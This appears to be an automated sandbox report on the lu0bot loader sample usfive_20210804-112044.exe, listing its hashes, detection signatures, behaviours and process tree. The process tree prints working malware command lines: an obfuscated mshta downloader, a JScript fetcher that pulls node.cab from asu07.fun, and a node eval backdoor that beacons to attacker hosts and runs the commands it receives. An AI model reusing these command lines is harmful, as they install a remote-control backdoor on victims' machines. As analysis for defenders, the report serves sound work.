Analysis
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max time kernel
150s -
max time network
195s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
04-08-2021 09:25
Static task
static1
Behavioral task
behavioral1
Sample
usfive_20210804-112044.exe
Resource
win7v20210408
windows7_x64
0 signatures
0 seconds
General
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Target
usfive_20210804-112044.exe
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Size
3KB
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MD5
172da997f8be4c8d0318a322c8ee806e
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SHA1
224d3e925800815e792af3a28f8d2dffb9c21e70
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SHA256
db246897a0efe3c4b3cd4b9f832067815fa920045e9a5a3d0881dc9ffd958fb0
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SHA512
75e85d44f076dee7505389284609ab4b138d676d777e3ebfe37e11053b293b7f5d91cfb66a4304539fb41c91db74c79ec93d262cbe1e908ffd5f530be4475ca4
Malware Config
Signatures
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suricata: ET MALWARE lu0bot Loader HTTP Request
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suricata: ET MALWARE lu0bot Loader HTTP Response
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Blocklisted process makes network request 2 IoCs
flow pid Process 3 1504 mshta.exe 4 1704 cscript.exe -
Executes dropped EXE 1 IoCs
pid Process 1716 node.exe -
Loads dropped DLL 1 IoCs
pid Process 664 cscript.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 816 icacls.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 1816 tasklist.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 1248 netstat.exe 1808 ipconfig.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1784 systeminfo.exe -
NTFS ADS 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Temp\f8117f72182e944f:ads node.exe File created C:\ProgramData\DNTException\node.exe:ee70eedcad08a5f612f33f45053e2695 node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 3 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 4 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1716 node.exe 1716 node.exe -
Suspicious use of AdjustPrivilegeToken 42 IoCs
description pid Process Token: SeDebugPrivilege 1816 tasklist.exe Token: SeIncreaseQuotaPrivilege 1692 wmic.exe Token: SeSecurityPrivilege 1692 wmic.exe Token: SeTakeOwnershipPrivilege 1692 wmic.exe Token: SeLoadDriverPrivilege 1692 wmic.exe Token: SeSystemProfilePrivilege 1692 wmic.exe Token: SeSystemtimePrivilege 1692 wmic.exe Token: SeProfSingleProcessPrivilege 1692 wmic.exe Token: SeIncBasePriorityPrivilege 1692 wmic.exe Token: SeCreatePagefilePrivilege 1692 wmic.exe Token: SeBackupPrivilege 1692 wmic.exe Token: SeRestorePrivilege 1692 wmic.exe Token: SeShutdownPrivilege 1692 wmic.exe Token: SeDebugPrivilege 1692 wmic.exe Token: SeSystemEnvironmentPrivilege 1692 wmic.exe Token: SeRemoteShutdownPrivilege 1692 wmic.exe Token: SeUndockPrivilege 1692 wmic.exe Token: SeManageVolumePrivilege 1692 wmic.exe Token: 33 1692 wmic.exe Token: 34 1692 wmic.exe Token: 35 1692 wmic.exe Token: SeIncreaseQuotaPrivilege 1692 wmic.exe Token: SeSecurityPrivilege 1692 wmic.exe Token: SeTakeOwnershipPrivilege 1692 wmic.exe Token: SeLoadDriverPrivilege 1692 wmic.exe Token: SeSystemProfilePrivilege 1692 wmic.exe Token: SeSystemtimePrivilege 1692 wmic.exe Token: SeProfSingleProcessPrivilege 1692 wmic.exe Token: SeIncBasePriorityPrivilege 1692 wmic.exe Token: SeCreatePagefilePrivilege 1692 wmic.exe Token: SeBackupPrivilege 1692 wmic.exe Token: SeRestorePrivilege 1692 wmic.exe Token: SeShutdownPrivilege 1692 wmic.exe Token: SeDebugPrivilege 1692 wmic.exe Token: SeSystemEnvironmentPrivilege 1692 wmic.exe Token: SeRemoteShutdownPrivilege 1692 wmic.exe Token: SeUndockPrivilege 1692 wmic.exe Token: SeManageVolumePrivilege 1692 wmic.exe Token: 33 1692 wmic.exe Token: 34 1692 wmic.exe Token: 35 1692 wmic.exe Token: SeDebugPrivilege 1248 netstat.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1092 wrote to memory of 1504 1092 usfive_20210804-112044.exe 25 PID 1092 wrote to memory of 1504 1092 usfive_20210804-112044.exe 25 PID 1092 wrote to memory of 1504 1092 usfive_20210804-112044.exe 25 PID 1092 wrote to memory of 1504 1092 usfive_20210804-112044.exe 25 PID 1504 wrote to memory of 1780 1504 mshta.exe 27 PID 1504 wrote to memory of 1780 1504 mshta.exe 27 PID 1504 wrote to memory of 1780 1504 mshta.exe 27 PID 1504 wrote to memory of 1780 1504 mshta.exe 27 PID 1780 wrote to memory of 1704 1780 cmd.exe 29 PID 1780 wrote to memory of 1704 1780 cmd.exe 29 PID 1780 wrote to memory of 1704 1780 cmd.exe 29 PID 1780 wrote to memory of 1704 1780 cmd.exe 29 PID 1780 wrote to memory of 1376 1780 cmd.exe 31 PID 1780 wrote to memory of 1376 1780 cmd.exe 31 PID 1780 wrote to memory of 1376 1780 cmd.exe 31 PID 1780 wrote to memory of 1376 1780 cmd.exe 31 PID 1780 wrote to memory of 664 1780 cmd.exe 32 PID 1780 wrote to memory of 664 1780 cmd.exe 32 PID 1780 wrote to memory of 664 1780 cmd.exe 32 PID 1780 wrote to memory of 664 1780 cmd.exe 32 PID 664 wrote to memory of 1716 664 cscript.exe 33 PID 664 wrote to memory of 1716 664 cscript.exe 33 PID 664 wrote to memory of 1716 664 cscript.exe 33 PID 664 wrote to memory of 1716 664 cscript.exe 33 PID 1716 wrote to memory of 1072 1716 node.exe 37 PID 1716 wrote to memory of 1072 1716 node.exe 37 PID 1716 wrote to memory of 1072 1716 node.exe 37 PID 1716 wrote to memory of 1072 1716 node.exe 37 PID 1716 wrote to memory of 316 1716 node.exe 38 PID 1716 wrote to memory of 316 1716 node.exe 38 PID 1716 wrote to memory of 316 1716 node.exe 38 PID 1716 wrote to memory of 316 1716 node.exe 38 PID 1716 wrote to memory of 816 1716 node.exe 39 PID 1716 wrote to memory of 816 1716 node.exe 39 PID 1716 wrote to memory of 816 1716 node.exe 39 PID 1716 wrote to memory of 816 1716 node.exe 39 PID 1716 wrote to memory of 848 1716 node.exe 40 PID 1716 wrote to memory of 848 1716 node.exe 40 PID 1716 wrote to memory of 848 1716 node.exe 40 PID 1716 wrote to memory of 848 1716 node.exe 40 PID 1716 wrote to memory of 912 1716 node.exe 41 PID 1716 wrote to memory of 912 1716 node.exe 41 PID 1716 wrote to memory of 912 1716 node.exe 41 PID 1716 wrote to memory of 912 1716 node.exe 41 PID 1716 wrote to memory of 1816 1716 node.exe 42 PID 1716 wrote to memory of 1816 1716 node.exe 42 PID 1716 wrote to memory of 1816 1716 node.exe 42 PID 1716 wrote to memory of 1816 1716 node.exe 42 PID 1716 wrote to memory of 1692 1716 node.exe 44 PID 1716 wrote to memory of 1692 1716 node.exe 44 PID 1716 wrote to memory of 1692 1716 node.exe 44 PID 1716 wrote to memory of 1692 1716 node.exe 44 PID 1716 wrote to memory of 1808 1716 node.exe 45 PID 1716 wrote to memory of 1808 1716 node.exe 45 PID 1716 wrote to memory of 1808 1716 node.exe 45 PID 1716 wrote to memory of 1808 1716 node.exe 45 PID 1716 wrote to memory of 1828 1716 node.exe 46 PID 1716 wrote to memory of 1828 1716 node.exe 46 PID 1716 wrote to memory of 1828 1716 node.exe 46 PID 1716 wrote to memory of 1828 1716 node.exe 46 PID 1716 wrote to memory of 1248 1716 node.exe 47 PID 1716 wrote to memory of 1248 1716 node.exe 47 PID 1716 wrote to memory of 1248 1716 node.exe 47 PID 1716 wrote to memory of 1248 1716 node.exe 47 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 912 attrib.exe 848 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\usfive_20210804-112044.exe"C:\Users\Admin\AppData\Local\Temp\usfive_20210804-112044.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1092 -
C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();159;y=unescape('%361%7Eh%74t%70%3A%2F%2F%61s%750%37%2E%66u%6E%2F%68r%69%2F%3F2%31a%36e%34b%7E2%31').split('~');56;try{x='WinHttp';176;x=new ActiveXObject(x+'.'+x+'Request.5.1');175;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);251;x.send();120;y='ipt.S';132;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);32;}catch(e){};239;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1504 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1628069159610.txt & cscript /nologo /e:jscript get1628069159610.txt "http%3A%2F%2Fasu07.fun%2Fhri%2F%3F245090fbf%26b%3D07464db4" node.cab & expand node.cab node.exe & del get1628069159610.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1628069159610.txt & cscript /nologo /e:jscript get1628069159610.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%2745090fbf%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1628069159610.txt3⤵
- Suspicious use of WriteProcessMemory
PID:1780 -
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1628069159610.txt "http%3A%2F%2Fasu07.fun%2Fhri%2F%3F245090fbf%26b%3D07464db4" node.cab4⤵
- Blocklisted process makes network request
PID:1704
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C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
PID:1376
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C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1628069159610.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%2745090fbf%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:664 -
C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%2745090fbf%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1716 -
C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵PID:1072
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C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵PID:316
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C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
PID:816
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
PID:848
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
PID:912
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C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1816
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C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
PID:1692
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C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
PID:1808
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C:\Windows\SysWOW64\route.exeroute.exe print6⤵PID:1828
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C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:1248
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C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
PID:1784
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